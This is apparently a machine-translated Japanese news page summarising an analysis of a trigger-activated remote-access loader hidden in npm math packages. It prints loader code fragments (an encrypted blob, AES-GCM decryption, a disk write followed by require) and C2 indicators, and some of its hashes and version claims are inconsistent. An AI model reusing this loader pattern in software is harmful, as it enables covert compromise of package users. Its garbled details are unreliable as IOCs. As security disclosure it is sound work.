Mathmain が暗号化されたローダーを必要とするのはなぜですか?

2026/09/22 3:33

Mathmain が暗号化されたローダーを必要とするのはなぜですか?

RSS: https://news.ycombinator.com/rss

要約

Japanese Translation:

npm パッケージ

mathmain
(1.0.1–1.0.5)、
mathsbase
、および
math-universe
(2026 年 9 月 16 日 –17 日に配布) の特定のバージョン内に、高度なリモートアクセスインプラントが隠匿されたと発見された。悪意あるコードは
mathjs
ライブラリのコピー内で自身を暗号化し、トリガーされるまで不活性化している:このインプラントは、
lusolve()
ソルバーが特定の 3×3 パスカル行列(
[[1,1,1],[1,2,3],[1,3,6]]
)を処理する際にのみ起動する。この操作は、行列の Lower Triangular LU 分解に基づいて復号化キーを生成し、ローダーが scrypt から派生したキーを使用して AES-256-GCM で暗号化されたペイロードを復号化するのを可能にする。復号化は、
lib/cjs/utils/
に追加された関数(
removeSolveValidation()
isGraph()
event()
)を通じて行われ、3 つのペイロードファイルを解放する:
graph.js
(第一段階のインプラント)、
fraction.js
、および
bignumber/type.js

起動後、インプラントは X25519 キー対を生成し、Node の

child_process
を通じてシェルコマンドを実行するとともに、Infura または Alchemy 経由で Base Sepolia または Ethereum Sepolia ブロックチェーン上のスマートコントラクトを通じてコマンド・コントロールを確立する。さらに、回復されたボットトークンを使用して Slack(
chat.postMessage/history
) および Telegram も利用する。重要な点として、悪意あるコードは npm の公開プロセス中に直接注入されたものであり、これらのプロジェクトの公開 GitHub リポジトリは侵害されていない。SafeDep アナリシスは、通常のインポートでは不活性化チェックを回避する特定のスルバートリガーがなければローダーが起動しないことを確認している。攻撃者は既知の Alchemy RPC キー(例:
D2-TbkB2m05WXSnSDOCDI
)を使用しており、IOC には影響を受けたパッケージバージョンおよび暗号化ペイロードの SHA-256 ハッシュを含む。セキュリティチームは直ちにパッケージバージョンを更新するか、インポートを検査してこの脅威を軽減すべきである。

本文

npm パッケージ「mathmain」に潜伏するマルウェアインプラントの発覚

npm パッケージ**「mathmain」の内部で、リモートアクセス型のマルウェアインプラントが隠されていることが発見されました。この悪意のあるコードは暗号化されており、特定の数学的方程式を解くプログラムを実行するまで休眠状態にあります。この方程式こそがマルウェアを発火させるトリガー(鍵)**です。

  • 動作原理: トリガー条件を満たすと暗号化ペイロードが復号・実行され、攻撃者からのコマンドをブロックチェーンネットワークや公開チャットサービス経由で受け取り実行します。
  • 調査対象: ローダーの発見経緯、復号化手法、ペイロードの実行内容、検出用示唆情報(IOCs)
  • 調査開始日: 2026 年 9 月 17 日(SafeDep アナライシス開始)

発見経緯:ソルバー内の型チェックの呼び出し

当初は

mathjs
ライブラリのコピーと見えたコードの中に、追加のコールが発見されました。これはソルバーの結果を計算した後、下三角行列のデータを処理する際の型チェック呼び出しです。

// ソルバー内の追加的なコール(発見箇所)
l && (q = removeSolveValidation(l._data));
return x;
  • l
    : 下三角行列データ
  • x
    : 計算結果(そのまま返却)
  • q
    : 再利用されないが、ローダー起動に関与する変数

このコールを追跡すると**

lib/cjs/utils/is.js
内の
isGraph()
**関数までたどり着きました。このファイルは行列や数値のチェック機能に加え、コードの復号化とロードを担当しています。

// ローダー起動用の復元コード
const STAGE1_BLOB = 'IapMCmvlemBnFaU+3GZ4oF2xOhnczTlDWTO3oCfrHkWp1lSpHdCaeG0qn2neIoTetyRJtQ==';

function isGraph(x) {
    const password = JSON.stringify(x); // 入力データをパスワードに変換
    const name = validEvent(STAGE1_BLOB, password); // ファイル名復号化
    const target = path.join(__dirname, name);
    const mod = require(event(target, password)); // 暗号ファイルをロード
    return (x && mod.validGraph(password)) || false;
}

行列データがパスワードになる仕組み

ローダーはscryptAES-256-GCMを使用してデータを復号化します。

復号化プロセス

  1. キー生成:
    scrypt
    アルゴリズムでパスワードから 256 ビットのキーを生成。
  2. データ復号: GCM モードの AES-256 で復号化(ソルト、IV、認証タグ付き)。
// 復号化ロジック
const key = crypto.scryptSync(password, salt, 32);
const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv);
decipher.setAuthTag(tag);
return Buffer.concat([decipher.update(ciphertext), decipher.final()]);

パスワードの正体

暗号化データは固定構成(16 バイトソルト + 12 バイト IV + 16 バイトタグ)を持ちます。呼び出し側が行列

L
の JSON 文字列を渡すことで、正しいパスワードを生成します。

// パスワード生成例(mathmain@1.0.2)
const A = [[1, 1, 1], [1, 2, 3], [1, 3, 6]]; // パスカルの行列
const L = lup(A).L.valueOf(); // LU 分解による下三角因子
const password = JSON.stringify(L); 
// 結果: '[[1,0,0],[1,1,0],[1,0.5,1]]'

ローダーによるファイルの書き込みと実行

event()
ヘルパーは復号化されたファイルをディスクに書き出します。

// ファイル書き込みロジック
const plaintext = eventEmitter(file, password);
const dir = path.dirname(path.resolve(file));
const base = path.basename(file).replace(/^enc_/, ''); // 'enc_'接頭辞を除去
const outPath = path.join(dir, base);
fs.writeFileSync(outPath, plaintext);
return outPath;

書き込まれたファイル一覧

ローダーがディスク上に展開した主なファイルは以下の通りです。

ファイル名サイズ (バイト)特徴
graph.js20,918ペイロードの第 1 ステージ(起動ファイル)
fraction.js9,084コマンドエージェント機能
bigNumber/type.js1,179,416ethers ライブラリのコピー
  • 権限:
    require()
    でロードされるため、Node.js プロセスと同じ高い権限で実行されます。
  • トリガー条件: ソルバーの検証ステップを通過し、パスワード(行列
    L
    )が正しく渡された場合のみ発動します。デフォルトバージョン (
    mathmain@1.0.2
    ) ではローダーが含まれていないため、注意が必要です。

類似パッケージにおける同様のマルウェア

調査の結果、以下のパッケージにも同一のローダー、トリガーコード、ソルバー変更が確認されました。

パッケージ名バージョン状態
mathsbase1.0.1マルウェア発見
math-universe1.0.1 / 1.0.2マルウェア発見
  • GitHub リポジトリとの不一致:
    • GitHub ソースにはローダーが含まれていませんでした。
    • npm ビルド時にローダーが追加されており、パブリックなコードでの改ざんではない可能性が高いです。
  • npm ダウンロードデータ:
    • 9 月 17 日は登録全体を通じてゼロのダウンロード数を報告しており、実際の感染数を正確に把握するのは困難です。

マルウェアの実行とコマンド・コントロール (C2)

ローダーが起動すると、以下のファイルが展開され、リモートアクセスインプラントとして機能します。

復号化されたペイロードの役割

  • graph.js
    (ステージ 1)
    :
    • X25519 キー対を生成し、スマートコントラクトを読み取ります。
    • Slack および Telegram ボットを通じて攻撃者に報告します。
    • 後続ファイル(
      bignumber/type.js
      ,
      fraction.js
      )をロードします。

復号化された定数情報 (展開 A)

項目値 / 機能
スマートコントラクト
0xac0bfC4C48A679b667732128278EACBA1c191894
(Base Sepolia)
RPC (Infura)
base-sepolia.infura.io/v3/...
RPC (Alchemy)
base-sepolia.g.alchemy.com/v2/D2-TbkB2m05WXSnSDOCDIA
Telegram ボットID:
8961878831
(トークン非公開)
Slack ボットxoxb-... (秘密非公開)

コマンドエージェント (
fraction.js
) の動作

  • 実行時に Slack ボットトークンとチャンネル ID を復号化。
  • CHAT_PASSWORD
    環境変数が必要です(ない場合は終了)。
  • 10 秒ごとにメッセージをポーリングし、操作者のコマンドを受信・実行(シェルコマンドとして)。

注意: パッケージは過去のコマンド履歴を保存せず、ライブで受信したコマンドのみを実行します。

調査タイムライン (UTC)

日付イベント概要
8/26
mathmain@1.0.1
公開(ローダーなし)
8/27
mathmain@1.0.1
がローダー付きで再公開されるも、暗号ファイルは未包含
9/15
mathmain@1.0.2
ロードレス公開(セキュリティホール回避対応?)
9/16
mathmain@1.0.2
がローダー付きで再公開(複数回)
9/17一致するファイルを備えたバージョン公開、ソースレビュー完了
9/19npm でダウンロード数が報告される
9/21JFrog と SafeDep が分析結果を公開(トリガー行列復元)

侵害の兆候 (Indicators of Compromise: IOCs)

以下のハッシュ値や情報を活用し、マルウェアを検出してください。一致が必ずしも実行を意味するわけではありません。ローダーはトリガー(特定の行列計算)が必要です。

悪意あるパッケージ (SHA-256 ハッシュ)

パッケージバージョンSHA-256 ハッシュ
mathmain1.0.1
1723a0df210ac61281a504f3a07ec3605d20151631e0635cc344cacc71019135
mathmain1.0.2
03e13cdedd9c33e6fed25092b1ec7dcf11cc5962c0fbb6b3e90ba95bfec1b034
mathsbase1.0.1
7e5e1bcdc6a7b0e3437269a236b49ef2be4f77081c7de5130d503c103fd6be69
math-universe1.0.1
bfe772e7ee044fd6f0bdf53e83f44aad7c9ee1925baf0cf4d884a312aa9ba50e
math-universe1.0.2
4eb1d59df7dc80dbe3ec154481e61e8824422037092c188f0cc146b543615a66

ローダーおよびトリガー情報

項目
ローダーファイル (event.js)
ab66c98e8ed5235feb963ec8845765f62f5f26b1c58c266c409767e53bcb5ccd
ローダーファイル (is.js)
5d9e952c51875d2b897eedc22b002b94ab21c8004d513bc99ce3a885f8a01dae
トリガー行列
[[1,1,1],[1,2,3],[1,3,6]]
パスワード (L 因子)
[[1,0,0],[1,1,0],[1,0.5,1]]

復号化されたペイロードファイル (SHA-256 ハッシュ)

ローダーが実行されれば、ディスク上に以下のファイルを保持する可能性があります。

ファイル名SHA-256 ハッシュ
graph.js (展開 A)
1e0f09c84aaf573627c003ce0f086517c3ea980cbea02f8ff918b1cc0d7e0bbbf
fraction.js (展開 A)
6fd655d7196880fc5783f9dbb62b428baf220c2781970be54044376330be7a
bigNumber/type.js (展開 A)
6b1ad71bc3765dd272ea2ac63c1ea6ed97091ba0067d0b3e2294e1b34177cb25

コマンド・コントロール (C2)

展開 A は mathmain/Universe、展開 B は

mathmain@1.0.1
をカバーしています。

タイプ値 / 接続情報
Smart Contract (A)
0xac0bfC4C48A679b667732128278EACBA1c191894
(Base Sepolia)
Smart Contract (B)
0xE390863Dac96a7118C71227C2b099B50cF602D31
(Ethereum Sepolia)
RPC (Alchemy キー)両展開とも共用:
D2-TbkB2m05WXSnSDOCDIA

同じ日のほかのニュース

一覧に戻る →

2026/09/22 5:58

輸入額が 800 ドル以下の小口免税措置の停止

## Japanese Translation: 個人処方箋輸入運動(CPPI)は、米国人がライセンス取得済みのカナダの薬局から処方薬を購入する権利を主張しており、これらの薬局が 100% の安全性記録を持つと述べている。この運動を支援することで、人々は健康を損なうことなく安価な医薬品にアクセスしながら資金を節約できる。CPPI は、公衆が即座に無料キャンペーンに参加することを招き、米国での医療費高騰に対する実用的な財務戦略として海外で医薬品を購入する原因を積極的に支持するために、事務所へ連絡すること(202-765-3290 または info@personalimportation.org(N.J. 08844, Hillsborough, 601 Rt. 206, Suite 26-423))を呼びかけている。

2026/09/22 7:33

データ保護委員会が位置情報の処理問題に対し、Google に4,030 万ユーロの制裁金科する

## 日本語翻訳: EU 欧州データ保護委員(DPC)は、GDPR ルールの遵守違反によりユーザの位置情報データを処理したことに伴い、Google アイルランドに巨額の 4030 ユーロの制裁金科しました。2020 年 2 月に開始された自主発議による調査および BEUC などの団体からの苦情に基づき、調査官らは 2018 年 5 月 25 日から 2020 年 2 月 4 日の間に発生した違反行為を特定しました。DPC は、Google が「Web & App Activity」と「Location History」の処理を法的かつ公正に行っておらず、また「Location Accuracy」に関する透明性および説明責任の義務も履行しなかったと結論付けました。コミッショナーズ Dr Des Hogan 氏、Mr Dale Sunderland 氏、Ms Niamh Sweeney 氏、副コミッショナー Graham Doyle 氏は、これらの無許可なデータ保持 practices がユーザが個人情報を制御する権利を損なう損失を増大させたことを指摘しました。したがって、Google は 2 つの特定の機能におけるデータの保持を停止し、6 ヶ月以内にすべての処理をコンプライアンスに合わせるよう命令されました。DPC は適時、本件の最終決定を発表する予定です。

2026/09/22 4:43

ビジュアルで解説するトランスフォーマー

## 日本語訳: 本稿の核心となるメッセージは、2017 年に論文「Attention is All You Need」によって紹介された Transformer アーキテクチャが、GPT、Llama、Gemini のような主要な AI モデルの基盤となるエンジンとして機能しているという点である。このアーキテクチャはテキスト、音声、画像認識、タンパク質予測、ゲームプレイなど多岐にわたる分野で活用されている。これらの大規模システムを抽象的に記述するのではなく、解説ではアクセス可能な GPT-2(小規模)モデル——パラメータ数が 1 億 2400 万、語彙数は 50,257 のユニークなトークン、そして 12 の Transformer ブロックを持つもの——を用いて、Transformer が実際どのように動作するかを具体的に示す。このアーキテクチャは、(1) エンベディメント:文字列の生のトークンをトークナイゼーション、エンベッディング、および位置符号化を通じて数値データに変換する部分、(2) Transformer ブロック:マルチヘッド自己注意機構(クエリ、キー、バリュー行列を 12 ヘッドにわたって使用)と MLP レイヤーを用い、データを順次処理しつつ、マスキングによって未来のトークンへのアクセスを防ぐ機構、(3) 出力確率:表現を高次元空間に射影し、それを確率に変換することで次の単語を数学的に予測する部分——という 3 つの不可欠な要素に依存している。これらの概念は、自然言語理解から複雑なタンパク質予測に至るまでの分野を革命させたが、「Transformer Explainer」という実装により、開発者や学生にとって具体的な形を与えられている。これは Andrej Karpathy の nanoGPT プロジェクトから派生したライブウェブ実装であり、高度なバックエンド知識を必要とせず、理論的研究と実践的な応用の間のギャップを埋める。このツールは、これらの数学的射影がリアルタイムでどのようにテキストを生成するかを可視化することを可能にする。ジョージア工科大学の Aeree Cho、Grace C. Kim、Alexander Karpekov、Alec Helbling、Jay Wang、Seongmin Lee、Benjamin Hoover、Polo Chau の開発により、プロジェクトは性能向上のための追加機能としてレイヤー正規化、ドロップアウト、レシデュアル接続も組み込んでいる。